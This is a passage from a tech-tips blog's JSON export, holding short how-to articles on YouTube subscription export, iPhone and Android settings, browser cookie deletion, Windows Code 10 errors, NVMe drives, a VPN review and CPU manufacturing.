quickly as they want. The number of YouTube channels monitored is not limited to any YouTube account. And many people who want to share the YouTube channels they have subscribed to friends can use the export tracking feature to OPML file.\nThese YouTube channels are grouped into a separate file so we can easily share it. If the list of YouTube channels you follow is up to dozens of channels, this way of exporting this YouTube channel is very useful. The following article will guide you how to perform file export tracking YouTube channel.\nInstructions on how to block videos and YouTube channels How to censor comments on your YouTube channel? Instructions on how to create or edit your Youtube channel image Guide to export YouTube video channel Step 1:\nUsers log in to their personal YouTube account and then click on the link below to immediately access the YouTube channel management interface.\nhttps://www.youtube.com/subscription_manager   Step 2:\nUsers scroll down to the content below and then click on Export Channel registered at Export to RRS reader.\n  Thus registered YouTube channels are exported as a separate file as shown below.\n  Step 3:\nIn case the user wants to import YouTube channels to another YouTube account, it is necessary to use the Import YouTube Subscriptions website under the link below.\nhttp://evanreilly.com/youtube-subscriptions-importer/ Click on the Select file button and download the downloaded YouTube channel file to your computer and click Import .\n  Step 4:\nThen Import YouTube Subscriptions proceeds to link to the currently logged in YouTube account. We can choose the YouTube account we want to use.\n  Then click Allow to agree to terms from the service when you want to access YouTube.\n  Step 5:\nFinally reload your YouTube account and access the Subscriptions section on YouTube or go to the YouTube channel management link registered above the article to see all YouTube channels imported from another YouTube account.\n  YouTube does not limit the number of subscribed channels with each account, so users can click follow as you like. Although YouTube doesn't have a subscription to another account, users can use the Import YouTube Subscriptions website to import to any YouTube account.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2opbyzwIyaZKudl57AtbHRnptmsZ%2BqwbauxGaaoZmeo7Kt\n","link":"/post/how-to-export-a-registered-youtube-channel/","section":"post","tags":null,"title":"How to export a registered YouTube channel"},{"body":"As you know iOS 11.3 version for Apple devices has officially launched with many extremely wonderful features. However, there are many people who are complaining that when they update to iOS 11.3, they face the situation that iPhone automatically reads the phone number / caller is quite annoying. Of course, not every phone when updating, this feature is enabled. So if you accidentally fall into the same situation as above, then you can apply the following simple steps to turn off the feature that allows the display along with reading the phone number and caller information on iOS version 11.3.\nInstructions for iOS 11.3 official update to turn off the iPhone slowing feature Why does iOS 11.3 report battery status \"Maintenance\"? Answer 12 frequently asked questions about iOS 11.3 update Step 1:\nFirst of all, you access the Settings application of the device you are using. Now, a new interface will appear, scroll down to the bottom and select Phone .\n  Step 2:\nIn the Call notification section, click the arrow icon as shown and switch from Always to No mode.\n  Thus, if there is an incoming call from now on, the iPhone will not automatically read the caller's name or phone number. Turning off the automatic read phone number and caller information on iOS 11.3 version will help you avoid certain troubles.\nIn addition, if you still have not updated iOS 11.3 from Apple because there is some confusion, you can refer to the article Should upgrade the official iOS 11.3 update for iPhone, iPad? To learn more about the much anticipated and loved iOS version, there is also \"confidence\" for your decision.\nSee more:\nHow to downgrade iOS 11.3 to iOS 11.2.6 What new features does iOS 11.4 have? When will it be released? These are new features on iOS 12, do you know? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZJqtpKS6osDInGSrnZGZtq%2BzjKidZqGemLyutc2gZKmgn6OybrrUppmeqqNivK95yKiqZmlhaA%3D%3D\n","link":"/post/how-to-turn-off-automatic-reading-of-incoming-phone-numbers-on-ios-11-3/","section":"post","tags":null,"title":"How to turn off automatic reading of incoming phone numbers on iOS 11.3"},{"body":"Usually, Android devices open Quick Settings by swiping down from the top of the screen. However, there are many types of smartphones with large screen sizes so the manufacturer has changed the position of Quick Settings on the bottom of the screen, or on the two sides of the screen to serve the needs of one-hand use.\nAnd if you want to change the position of opening Quick Settings from the bottom up that the device does not support, you can use the application Quick Quick Settings.\nBottom Quick Settings helps users quickly access the settings on the device by swiping up from the bottom of the screen, or from the two sides of the device to display the interface. So instead of opening it from top to bottom, you can open many different ways. The following article will guide how to use the Bottom Quick Settings application for Android devices.\nHow to add multiple customizations to Quick Settings on Android How to bring Android's Quick Settings to iPhone How to enable Android 10 Focus Mode Summary of invaluable keyboard shortcuts on Android Instructions for using Bottom Quick Settings Android Step 1:\nWe download the Bottom Quick Settings app for Android by following the link below.\nDownload Bottom Quick Settings Android Step 2:\nAfter installation is complete we open the application to use. First of all we will ask the user for permission to use the service. Then you choose the location and open the Settings interface , the default from the bottom to the top, you can change to another location.\nStep 3:\nTo access the main interface, users need to turn on Running Services to activate the extension bar containing Quick Settings. At this time, the bottom edge of the screen shows a small white edge , because previously selected the position of Quick Settings display at the bottom of the screen. The display interface will have quick settings, or applications, the URL is the shortcut of the application.\nStep 4:\nIf you want to add settings and applications , we click the box and then the content you want to add in the section You can also add, including URLs, applications, shortcuts.\nEach content has different content input interface for us to choose. Then, the Quick Settings interface will be changed as below, such as adding access applications.\nStep 5:\nThe setting interface will display only 1 color adjustment bar. If you want to add other content editing bar , click on the Drag bar item and you are transferred to the interface of the option of the drag bar. If you want to use the pull bar, slide the circle button to the right to activate .\nThen the Quick Settings interface displays more adjustment bars.\nStep 6:\nTo add the number of rows and columns in the extension bar , click on the Layout section . Then the interface of Quick Settings changes as below.\nThere are also many other adjustment items such as Extensions, Bottom status bar, and some advanced settings settings. Particularly with the Color section to change the interface of Quick Settings or Notifications is custom paid. In case you do not want to use this feature, just turn off the running Service mode.\nSo Bottom Quick Settings helps us adjust the Quick Settings interface as we like. You can add more content to facilitate access, or change the layout of the Quick Settings interface that the application creates at the bottom of the screen.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqju9OtpqZloaq2pLeMrJytrJmjtLR506hknKCRo7SmedOhnGakn5iutbXOp2Stp12kvaa6jKqsopubYsCmwNOipaCr\n","link":"/post/how-to-use-bottom-quick-settings-to-change-the-location-to-open-quick-settings/","section":"post","tags":null,"title":"How to use Bottom Quick Settings to change the location to open Quick Settings"},{"body":"Firefox contains a handy set of tools for developers, including integrated bug and web dashboards, as well as a code checker. Part of the browser 's web development kit is Scratchpad, a tool that allows programmers to experiment with JavaScript and execute it from within the Firefox window.\nThe simple interface of Scratchpad can be quite convenient for JavaScript developers. This step-by-step guide will show you how to access the tool and how to use it to create and refine JS code.\nUse Scratchpad with Javascript   First, open your Firefox browser. Click the Firefox menu button, located in the upper right corner of the browser window and denoted by three horizontal lines. When the drop-down menu appears, select the Developer option . A submenu will appear. Click Scratchpad, found in this menu. Note that you can use the following shortcut instead of this menu item: SHIFT + F4 .\nScratchpad will now be displayed in a separate window. The main section contains some brief instructions, followed by a space reserved for input. When you have entered some JavaScript code, click the Execute menu , including the following options:\nRun: This option executes the selected code in the Scratchpad window. The shortcut for this menu item is CTRL + R on Windows and COMMAND + R on Mac OS X. Inspect: This option executes the selected code and also opens a version of the object tester on the specific value returned. This allows you to drill down into a specific object. The shortcut for this menu item is CTRL + I on Windows and COMMAND + I on Mac OS X. Display: This option executes the selected code, displays the results directly in the editing window itself. The shortcut for this menu item is CTRL + L on Windows and COMMAND + L on Mac OS X. This guide is only for users running Firefox web browser on Mac OS X or Windows.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqntdGenaiwo2LApL7ArZqhqJGZ\n","link":"/post/how-to-use-firefox-s-scratchpad/","section":"post","tags":null,"title":"How to use Firefox's Scratchpad"},{"body":"Friendly for Facebook is an application that helps us use multiple Facebook accounts, including Messenger into the same interface. Besides, the application also has many other useful features such as changing the Facebook interface color, downloading videos on Facebook. Friendly for Facebook is very light like the Facebook Lite version, simple to use, easy to interface not too different from the Facebook application. When using Friendly for Facebook, you can switch between multiple interfaces, including the desktop version of Facebook and the Facebook interface on your phone. The following article will guide you how to use Friendly for Facebook, including changing the application interface\nInstructions for using Friendly for Facebook Step 1:\nDownload the Friendly for Facebook app by following the link below, then install and log in to your personal Facebook account.\nDownload Friendly for Facebook iOS\nhttps://apps.apple.com/us/app/friendly-for-facebook/id400169658\nDownload Friendly for Facebook Android\nhttps://play.google.com/store/apps/details?id=io.friendly\u0026amp;hl=vi\n  Step 2:\nShortly thereafter display the Facebook interface with the bar below is the home button icon, Messenger, notification and menu options for Facebook. If you want to add more Facebook accounts then click on the image in the top right corner , then select Add to add.\n  Messenger interface on Friendly for Facebook is generally similar to the Messenger app.\n  Step 3:\nTo switch Facebook to another version interface, click and 3 vertical dots and then select Desktop Version . Then the Facebook interface on the computer displays. To switch to the Facebook application interface, click Mobile Version . If you want to return to the old interface of Friendly for Facebook, then press the arrow .\nStep 4:\nTo change the interface for the application, click on the 3-dot icon and select Settings . Here you see the entire setup for the Friendly application. Scroll down to the Style \u0026amp; Appearance section to choose the theme you want, with a black background or color.\n  Step 5:\nThe application provides many different colors to change the interface for the application. If you want to manually adjust the color, click Advanced color selector. After choosing the color, the Facebook interface has changed.\n  Step 6:\nThere are download options for each image or video . With the video will immediately download icon. Alternatively you can click More to add more options.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqnvsiepZ2kqWKzsL6Mn5icnZKkvKx506hkpp2inLJussCcnJunn6B6uLXToWSmnaOosq%2BzxKs%3D\n","link":"/post/how-to-use-friendly-for-facebook-to-merge-facebook-with-messenger/","section":"post","tags":null,"title":"How to use Friendly for Facebook to merge Facebook with Messenger"},{"body":"With watchOS 6, the App Store for Apple Watch has got a new home. Instead of being on the Apple Watch app on iPhone, the app store is now on the wearable itself. The following is a first look at the new App Store for Apple Watch. The new App Store is only available on Apple Watch running watchOS 6. Remember to download and install this update before forwarding.\nWhere is the App Store on Apple Watch? You can find the new App Store on your wearable by following these steps:\n1. Touch Digital Crown on Apple Watch.\n2. In GridView or ListView, click the blue App Store icon .\n  How to find new apps for Apple Watch on the App Store There are two ways to find new apps for Apple Watch on the App Store. First, you can click on the Search box and use the Dictation or Scribble feature to find the application. You can also search for a new app using one of the collections that Apple changes every week.\nUse the Search box When using the Search box , press Dictation or Scribble. You can also scroll down using the Digital Crown and choose a term in the Trending section . Click Get (or Price ) to download the application. If you've downloaded the app before, instead of Get, you'll see the cloud icon. Touch the icon to download the application on Apple Watch.\n  Use Collections As the name of this option suggests, the Collections feature is an application group that belongs to the same category. Among the first Collections in the App Store app on Apple Watch, the outstanding options are Listen on the Go, Track Your Workout, Discover New Complications , etc.\n  To find a title and download it in a Collection:\n1. In the App Store, scroll down to find Collection, then click on it.\n2. Scroll down, click an application to learn more about it.\n3. Click Get or Price (or cloud icon) to download the application.\n4. Select Open to use the application.\nThe first time you download or purchase an app through the Apple Watch App Store, you will need to add your Apple ID password. You can do this using Scribble or the keyboard on iPhone.\nFor subsequent purchases, click Double Click to Install on Apple Watch to download or purchase a new application. This process works with Approve with Apple Watch . This is a new feature on macOS Catalina, which allows you to unlock a locked note, approve the app settings and see the password in Safari options without having to enter a password.\n  More detail App information in the App Store on Apple Watch is very rich. Each listing includes current ratings, age recommendations, screenshots, apps provided on iPhone and iPad, and descriptions, as well as sections like What's New, Ratings \u0026amp; Review, Version History. , Information, Supports and Privacy Policy . In other words, there's a lot to see here!\n  What has not changed Although the App Store for Apple Watch is currently on wearables, one thing remains the same. Applications installed on Apple Watch compatible iPhones will also be installed on the watch. What's new is that the applications installed on Apple Watch that are compatible with the iPhone are also installed on the phone.\nUsing the App Store on Apple Watch feels like a more personalized experience. However, it requires a little bit of research, especially if you're not familiar with Apple Watch's built-in Dictation or Scribble tools. In contrast, the Collections feature of the App Store makes finding new applications easier than before. Without a doubt, the App Store on Apple Watch will improve over time.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmmKmoXajBsL7EZqanZZGlva2xjLCYrZuY\n","link":"/post/how-to-use-the-app-store-on-apple-watch/","section":"post","tags":null,"title":"How to use the App Store on Apple Watch"},{"body":" \"Divine\" photo editing applications, anyone who loves \"virtual living\" should update immediately How to mass edit photos on iPhone? Today, the selfie movement is one of the hot activities of young people. They want to check the place they are going to, with whom or simply selfie to see how their faces are today. Sometimes we wonder after 10, 20 years or even more years what my face will look like, or if I am a guy / girl who looks like I will be.\nTo answer these questions, Android and Apple have released tons of apps on Google Play Store and iTunes Store. However, recently appeared a feverish application on both Android and iOS operating systems called Face App.\n  This application allows users to switch faces with artificial intelligence. With just a click of the screen, you can edit the smile, make it beautiful, edit the character in the picture younger or older or even change the sex. This is an interesting application that many celebrities are also using.\n  This is an easy-to-use application, just download the application, select a photo from the album or take it directly from Face App's camera, then select the Smile, Smile 2, Old, Young, Spark, Female, Male . to change the face as you like. The results will probably make you feel funny. Perhaps it would be more fun if you use the application with friends, look at your image, your friend after changing is a very interesting thing.\nHere are some reviews from Face App users.\n   You can download the free version or charge $ 3.99 for the full version.\nYou can download it here (link both iOS and Android) or just download FaceApp for Android.\nWish you have moments of relaxation with Face App.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjLCgpaRdrry2ecuopqRlkZvBpr6MbmdmsZWWv7R506uwZqyYnsBurc%2Bpo6Kbkam2sLqMraZmqKKasaqv02aroZ1dm8K1wdGeZJ%2BZk5o%3D\n","link":"/post/how-will-you-look-after-50-years-try-this-application-to-predict-the-future-face/","section":"post","tags":null,"title":"How will you look after 50 years, try this application to predict the future face!"},{"body":"Despite its significantly higher cost than its competitors, ExpressVPN remains the # 1 choice for businesses that need a top-quality VPN solution.\nInvesting in ExpressVPN means you get reliable and secure Internet access, good data security, and extensive customization options.\nLet's review ExpressVPN in detail through the following article!\nTechnical specifications Client software platforms : Windows, Mac, iOS, Android, Linux, BlackBerry, Kindle Fire, Nook, router, Playstation Supported Platforms : All of the above, along with Chromebook, Windows Phone, Proxy service (not VPN) available for game console, Roku, Apple TV, Amazon Fire Stick, Boxee Supported protocols : OpenVPN, L2TP / IPSec, PPTP, SSTP, IKEv2 Number of servers : 3000+ Country number : 94 Country of registration : British Virgin Islands Payment options : Credit Card, PayPal, Bitcoin, AliPay, GiroPay, WebMoney Is real name necessary? Is not Encryption protocol : AES-256 Data usage : Unlimited Bandwidth usage : Unlimited Maximum number of devices connected simultaneously : 5 Customer support : 24/7 chat and email Privacy policy : No logging Packages and prices Honestly, ExpressVPN is one of the most expensive VPNs out there. Many plans are available, with the cheapest one being a yearly subscription, costing $ 8.32 / month. Meanwhile, a 6-month subscription costs $ 9.99 / month, while a monthly subscription costs $ 12.95\u0026nbsp; / month.\nFortunately, all registrations allow users to access every ExpressVPN server. One ExpressVPN account can support up to 5 devices. If you connect your Internet router, you can provide even more private and secure Internet access.\nFeatures of ExpressVPN With over 160 locations in 94 countries, ExpressVPN offers more options than most other VPN services. With servers available on every continent except Antarctica, it's easy to find one that fits your business needs.\nWith over 160 locations in 94 countries, ExpressVPN offers more options than most other VPN services ExpressVPN also ensures that most of its locations have multiple VPN protocols available. Whether it is OpenVPN UDP / TCP, IPsec or IKEv2, ExpressVPN users can choose the VPN protocol that best suits their individual needs. Users can also ask the ExpressVPN app to automatically choose the most appropriate VPN protocol.\nWhen using ExpressVPN, one of my favorite features is the Split-tunneling tool. Because using a VPN will certainly slow down the Internet speed, the user may not want all applications to access the VPN at the same time. The Split-tunneling tool allows users to choose which apps or websites will use the VPN, ensuring general web browsing or streaming media continues at a faster rate. This feature is not available to most of ExpressVPN's competitors.\nExpressVPN also provides best-in-class security. Using both AES 256-bit encryption and a 4096-bit authentication key means that virtually no one can keep track of your connection history and Internet usage.\nAnother advantage of ExpressVPN is its use of TrustedServer. This service allows ExpressVPN's servers to run on RAM only and means that no identifying data is logged on its servers, not even encrypted. Without a doubt, ExpressVPN is one of the most secure VPN services available on the market.\nInterface and ease of use The ExpressVPN app is easy to use and is available on most devices, including game consoles and smart TVs. This makes this service different from competitors. As mentioned before, connecting ExpressVPN to the Internet router can also provide seamless VPN access to an entire office or meeting room space.\nWhen using the application, changing the server is very intuitive, and the application will always let you know when you are connected or lost a VPN connection. If you suddenly lose connection, the kill switch function ensures your Internet connection is blocked until a secure connection is re-established.\nThe search function makes finding a server easy, and the app remembers which server you connect most frequently (this recorded data doesn't leave your phone).\nThe ExpressVPN app is easy to use and is available on most devices Support Although often overlooked by developers and users, having a good support system is essential for any VPN. Thankfully, ExpressVPN provides both quality posts, highlighting many issues customers may encounter, as well as an active and helpful 24/7 live chat feature.\nExpressVPN's articles outlining how to do exactly what you want - get straight to the point and don't get messed up. However, if the issue persists, ExpressVPN's live chat support is a reliable source that should be fully utilized. Responses usually come within minutes from friendly and knowledgeable counselors.\nConclude ExpressVPN is a # 1 VPN option: Top security, a bunch of best server options in layering, and Split-tunnelling. If you need a complete VPN solution, ExpressVPN is a great option (the high cost of this option is absolutely worth it).\nHowever, if cost is an issue, then there are plenty of other quality VPN solutions available that will suit the needs of small and medium businesses.\nAdvantages\nCan be used on multiple devices There are advanced features like Split tunnelling VPN is available in more than 94 countries 30-day risk-free money-back guarantee Defect\nThe cost is more expensive than most of the competition ncG1vNJzZmismaXArq3KnmWcp51ksrm80Z6qrK6go3qzsdWinLBlpJ2ybq7ErKtmp6aav6K4y2atqaZdqbylrdg%3D\n","link":"/post/the-best-overall-vpn-today/","section":"post","tags":null,"title":"The best overall VPN today"},{"body":"According to research, this is one of the common errors related to Device Manager hardware manager on Windows. Specifically, the reason is because Device Manager cannot start the device hardware in the computer. Or rather it is because the driver version on the device is old, lost or missing during use.\n In addition, this error could be caused by a faulty driver that Device Manager does not understand. This could be a very general message caused by a particular driver or hardware problem. For example, you can easily determine if the error is caused by hardware to Wi-Fi if the error message \"This device cannot start. (Code 10)\" appears in Device status.\nSo how to fix \"Code 10\" error in Windows? Please refer to the following suggestions.\n1. Please restart Windows Like most computer problems, you can sometimes fix this problem simply by restarting your computer. It's a good idea to always do this basic troubleshooting step first, so you don't waste unnecessary time on more advanced methods.\n Restart your computer, then try to access the device again. If error messages continue to appear, please continue to refer through the advanced suggestions.\n2. Launch the Hardware Device Troubleshooter tool Basically, Microsoft also equips Windows with a number of automatic detection and troubleshooting tools to automatically solve different problems on Windows. Which includes a tool to quickly fix hardware problems, which is the Hardware Device Troubleshooter.\n In Windows 10, for some reason the Hardware Device Troubleshooter is hidden, but you can start it up via Command Prompt or PowerShell using the command \" msdt.exe DeviceDiagnostic \".\n After starting the Hardware Device Troubleshooter, follow the instructions to begin the process of detecting and fixing the problem.\n3. Do a deep check in Device Manager for more information Device Manager collects information about all the hardware connected to your computer, so this is an important place to check when you get the \"Code 10\" error.\n You can expand each section to see individual devices under each hardware group. If hardware crashes, you'll see a small yellow warning sign appear next to the device; This will indicate the device was causing the error.\n Once there, double-click on the hardware name and check the \"Device status\" entry. If it says \"This device cannot start (Code 10)\", it is the hardware that is experiencing an error.\nTry disconnecting that hardware from the computer for a few minutes, then plugging it in again. If this doesn't work, you should continue to update or remove the drivers for that hardware.\n4. Update hardware drivers  Usually, a faulty hardware operation can be because you have installed an outdated or incorrect driver for it. Therefore, it's best to update the driver for it by going to Settings\u0026gt; Update \u0026amp; Security\u0026gt; Windows Update to check for new updates, and if so, update.\n If you want to update a specific driver, right-click on that hardware name in Device Manager, then click Update driver\u0026gt; Search automatically for drivers. This will check your computer for newer drivers. If that doesn't work, search your hardware's name online to see if there's a newer driver available from the manufacturer.\n5. Try a different USB Port or Hub If you have identified which hardware is causing the \"Code 10\" error to appear, try plugging the device into a different USB port on the computer. There is a possibility that the USB port is faulty, causing the computer to communicate with the device incorrectly.\n Also, if you use any of the basic USB hubs with your computer, consider replacing them with supported models.\n6. Check the hardware on another computer If the above solutions fail, at this point you probably have a hardware failure. If possible, try connecting it to another computer and see if it works. If it doesn't work on another computer, then you should contact the manufacturer or replace the device.\n7. Perform a restore or reset of the operating system In the event that your hardware device works on another computer, you can try restoring the operating system to see if there is a Windows error preventing the hardware from working. This brings your operating system back to an earlier point in time, which is helpful if the problem started recently.\n If that doesn't work, you can completely reset Windows, but it seems that this is overkill for this problem. Hardware problems, especially at this point, are often caused by the device itself. But if your hardware device works elsewhere and you're not afraid to try, resetting Windows 10 might solve the problem.\nNow, you know what to do when you see the error \"This device cannot start (Code 10)\" appears in Windows. Hopefully you don't have to do a lot of troubleshooting to get your hardware working again. Good luck.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWTpLGmeZBpZJ6qoqS%2FbrXNZq6ippSkxLR5wKebZqCfrHq1u4yfoLFlmak%3D\n","link":"/post/what-is-code-10-error-in-windows-and-how-to-fix-it/","section":"post","tags":null,"title":"What is 'Code 10' error in Windows? And how to fix it?"},{"body":"One of the biggest enhancements you should make first on your PC is to improve storage speed. Of course, other components such as CPU and GPU also play a very important role in ensuring the overall performance of the system, but the storage speed will still be the factor that should be the top priority.\nWhich upgrade will improve your computer's performance the most? NVMe - short for Non-Volatile Memory express, is the latest and largest storage interface for laptops and desktop computers, and it also provides speed Read and write is much faster than the old interface. Technically, NVMe is a high-performance standard host controller (host controller) interface for PCIe-based SSDs, allowing to plug and play PCIe SSDs on all platforms. Therefore, depending on how you use the computer to do, buying the NVMe drive may be really effective.\n  What is NVMe hard drive? The NVMe storage interface was first introduced in 2013. The 'Non-Volatile' word means that this memory will not be deleted when your computer restarts. Meanwhile, the word 'Express' refers to the fact that data will be transmitted via PCI Express (PCIe interface) on your computer motherboard. This gives the hard drive a more direct connection to the motherboard because the data will not have to jump over the Serial Advance Technology Attachment (SATA) controller, so the transfer speed will also be faster.\nThe NVMe hard drive will basically give data transfer speeds much faster than SATA hard drives that have been around for years, such as PCIe 3.0 - the new generation of the current PCI Express standard, with transfer speeds. maximum 985 megabytes per second (985Mbps) per lane. Currently NVMe drives can be integrated and used simultaneously to up to 4 PCIe lanes, which means that the theoretical maximum speed of this type of drive will reach 3.9Gbps ​​(3,940 Mbps). Meanwhile, one of the fastest SATA SSDs at the moment, such as Samsung 860 Pro, for example, only has read and write speeds of about 560Mbps only.\n  NVMe hard drives will also contain several different form factors. The most common of these is m.2 (as shown in the image above). These bars are 22mm wide and can be from 30, 42, 60, 80 or 100mm long. The M.2 is thin enough to stay flat on the motherboard, so they are the perfect choice for small-sized computer devices that enhance mobility. However, you should also be aware that some SATA SSDs also use the same form factor, so be very careful to make sure you don't buy the wrong type of hard drive. Samsung 970 EVO is an example of one of the m.2 NVMe hard drives currently in use.\nNext is PCIe 3.0. Standard NVMe PCIe 3.0 is similar to GPU and other accessories in that it can be plugged into any PCIe 3.0 slot on your motherboard. This feature will be suitable for full-size ATX and motherboard cases, but is limited on small PCs and, of course, cannot be used inside a laptop chassis. . Intel 750 SSD is an example of one of the most popular NVMe PCIe 3.0 hard drives in use today.\n5 ways to check hard drive effectively to help periodically check the hard drive Should you buy NVMe SSDs? In general, whether you need faster storage speeds will depend on the volume and type of work you do on a daily basis. Currently the selling price of NVMe hard drives is declining to a fairly affordable level, accessible to more user segments. For example, Samsung 970 Pro NVMe and Samsung 860 Pro SATA all have a price not too different, only about 150 USD (about 3 million VND) for 500GB capacity. However, that doesn't mean you need to rush to replace your old SATA SSD if your business needs don't really require too high storage speeds.\n  A SATA SSD will help your computer to boot quickly in seconds, launch programs in a snap, and allow you to copy and move files relatively quickly. But if you often have to work with huge video files, whether it's from databases, editing videos or extracting Blu Rays, upgrading to NVMe is relatively necessary and possible. improve work efficiency significantly.\nInstructions for fitting the second hard drive to the computer In short, if the budget is not too much, please choose SATA. If you need maximum performance to regularly share data, you should choose PCIe. In terms of speed, both of these standards are faster than HDD.\nIt can be said that NVMe is about to become the future standard of mainstream interface for storage, and the advances of NAND and NVMe Flash technology are also gradually showing the power in various interfaces like M.2, PCIe, U.2, .\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWeq7qmecOroK%2BdXai1sMHLnWSiZZKqxg%3D%3D\n","link":"/post/what-is-nvme-drive-should-i-buy/","section":"post","tags":null,"title":"What is NVMe drive? Should I buy?"},{"body":"TipsMake.com - The computer you are using (whether Windows, Mac OS X or Linux) will become slower and slower because of the large amount of crap . If you frequently surf the web, browser-based cookies are a factor in creating a large amount of crap that slows down your computer. One of the things you should regularly do is clean up cookies in your browser on your computer. This work has two main effects: removing crap causing slowdown and ensuring information security for yourself when surfing the web frequently.\nIn this article, we will show you how to clean cookies on today's most popular browsers: IE 9, Firefox 4, Chrome 10, Safari 5 and Opera 11.\nInternet Explorer 9\nOpen IE 9 browser on your computer\nGo to Tools \u0026gt; Safety \u0026gt; Delete browsing history . or press Ctrl + Shift + Del on the keyboard\n  On the Delete Browsing History window, uncheck the Preserve Favorites website data section , select both the Temporary Internet Files and Cookies options just below that section; then click Delete .\n  After IE finishes deleting, you will receive a message at the bottom of the window that it successfully deleted your browser's cache and cookies.\n  Firefox 4\nOpen Firefox 4 browser\nGo to the Firefox tab in the top left corner of the browser, select Options \u0026gt; Options .\n  On the Firefox settings window, select the Privacy tab. In the History section, select Use custom settings for history\n  With the new options appear, you will see the Show Cookies button, click it\n  On the Cookies window that opens, click Remove All Cookies , and then click Close .\n  Click OK to close the Firefox setup window.\n\u0026gt;\u0026gt;\u0026gt; Delete individual cookies in Firefox\nChrome 10\nOpen Chrome browser on your device\nGo to the \" wrench \" icon in the rightmost corner of the address bar section and select Options\n  The Options tab will open and select Under the Hood , there are many ways to choose\nWay 1\nOn the original Under the Hook interface, in the Privacy section, select Clear browsing data .\n  On the popup, you can select the data to delete: Browsing history, Download history Cache, Cookies and other site data, Saved passwords and Saved Autofill form data. In the purpose of this article, we will choose Delete cookies and other data sites and Empty the cache . Then click the Clear browsing data button.\n  Method 2\nIn the Privacy section, you still choose Content settings .\nOn popup Content Settings , click on Clear cookies and other data sites when I close my browser . With this option, Chrome will automatically delete cookies every time you close your browser.\n  Method 3\nOn the Under the Hook interface, in the Privacy section, you select Content settings .\n  On the Content Settings popup that appears, click All cookies and site data .\n  On Cookies and Other Data , select Remove All , then close all windows.\n  Safari 5\nOpen Safari browser on your computer (Mac OS X)\nIn the top menu bar, select Safari \u0026gt; Preferences . If you use the keyboard, you can press the Apple + key ( , ) at the same time.\n  On the opened Preference window, select the Security tab. This tab contains security options for Safari.\nOn this tab, you will see a button labeled Show Cookies , click this button\n  On the new window that appears, click Remove All to delete all browser cookies.\nOpera 11\nOpen Opera browser\nGo to the Menu section at the top left corner of the browser window, select Settings \u0026gt; Preferences . (or press Ctrl + F12 )\n  On the Preferences window, select the Advanced tab, select Cookies in the left pane.\n  In the right options, select Delete new cookies when exiting Opera , then click Manage Cookies .\n  Select and Delete each Cookies, then click Close to close the Manage Cookies window.\n  If you regularly delete cookies, you will see your browser running faster and smoother. Depending on how long it does not clean the crap, you may feel the difference across the system with just one simple task.\nncG1vNJzZmismaXArq3KnmWcp51ksaa4xK2cZpufpLiqsdJmoKdloKS9trjAq2Sbqp%2BswKa%2B0g%3D%3D\n","link":"/post/delete-cookies-in-popular-browsers/","section":"post","tags":null,"title":"Delete cookies in popular browsers"},{"body":"We use computers every day and an indispensable part is the CPU, but have you ever wondered how the CPU was created? This article will introduce you to the Intel process of making a CPU for your computer.\nCPU derived from sand Sand is made of 25% silicon, just behind oxygen, it is the second richest chemical element in the earth's crust. Sand, especially quartz, has a high proportion of silicon in the form of silicon dioxide (SiO2) and is a basic component for semiconductor manufacturing industry.\n  Refined and developed After purchasing coarse sand and silica separation, excess material will be processed and silicon is refined in several steps to finally achieve the quality of semiconductor manufacturing, known as electronic silicon. The purity after refining is so great that silicon at the electronic level has only one strange atom for every billion silicon atoms. After the refining process, Intel performs silicon melting. The result is a single crystal block (mono-crystal).\n  Single crystal block Single crystal blocks are produced from silicon at the electronic level. This block weighs about 100 kg (or 220 pounds) and has a purity of 99.9999%.\n  Cut a single crystal block Then, the single crystal block will be cut thinly into semiconductor discs or called wafer plates. Some blocks will be cut with a thickness of over 5 feet because the block diameter size varies depending on the size of the wafer required. Today, CPUs are usually made of wafers with a diameter of 300mm.\n  Polishing wafers After the cutting phase, these wafers will be polished until they have a smooth, smooth surface. Intel does not produce crystals and wafers, they will buy from other companies. Intel's 45 nm High-K / Metal Gate process uses wafers with a diameter of 300mm (or 12 inches). When Intel first produced chips, they printed circuits on 50 mm (2 inch) panels. Today, Intel uses a 300 mm semiconductor plate, which reduces production costs for each chip.\n  Using contrast material (Photoresist) Blue liquid as shown below is a contrast material like the one used in film cameras. In this step, the wafers will be rotated so that the contrast material can be evenly covered, smooth and thin on it.\n  Exposure with ultraviolet rays At this stage, the anti-reflective finish will be exposed with ultraviolet (UV) light. The chemical reaction activated by ultraviolet light is similar to what happens to film materials in a camera as soon as you press the shutter button.\n  The areas of contrast material on the wafer that have been exposed to UV light will become soluble. Intel will use masks as templates with ultraviolet light to create different circuit patterns on the wafer. Creating a major CPU repeats this process continuously until multiple layers are stacked.\nA lens (middle) reduces the image of the mask to a small focus. The \"print\" result on the wafer is usually 4 times smaller than the pattern of the mask.\nMake more exposure The image below shows what a transistor looks like when viewed with the naked eye. Transistors are considered electronic switches, controlling the current in a computer chip. Intel researchers have developed transistors that are so small that they think 30 million transistors can fit in one end of the battery.\n  Wash the contrast material After exposure to ultraviolet rays, areas with exposed blue contrast material will be thoroughly cleaned with solvent. This will reveal the contrast pattern made by the mask.\n  Notch The reflective layer will protect the semiconductor material from being cleaned. The exposed areas will be etched with chemicals.\n   Removal of contrast material After carving, contrast material will be removed and you can see the desired shape.\n  Use more contrast materials At this stage, Intel uses more contrast material (blue) and then exposes it to ultraviolet rays. After that the dye is exposed to be washed before moving on to the next step. This is the step where ionic particles are exposed to water, altering the chemical properties of silicon so that the CPU controls the current.\n  Ion Doping (Ion etching) Through a process called ion implantation (a form of doping process) the wafer exposures are etched with ions. The ions that are implanted in the wafer will change the way silicon in these areas conducts electricity. Ion is pushed to the surface of the wafer at very high speeds, an electric field accelerates ions at a rate of over 300,000 km / h (about 185,000 mph).\n  Wash the contrast material After ion implantation, the dye will be removed and the material to be etched (green) now has strange atoms implanted.\n  Transistors Transistors are almost about to be completed. Three holes were etched into the insulation (dark pink) above the transistor. These three holes will be filled with copper, forming 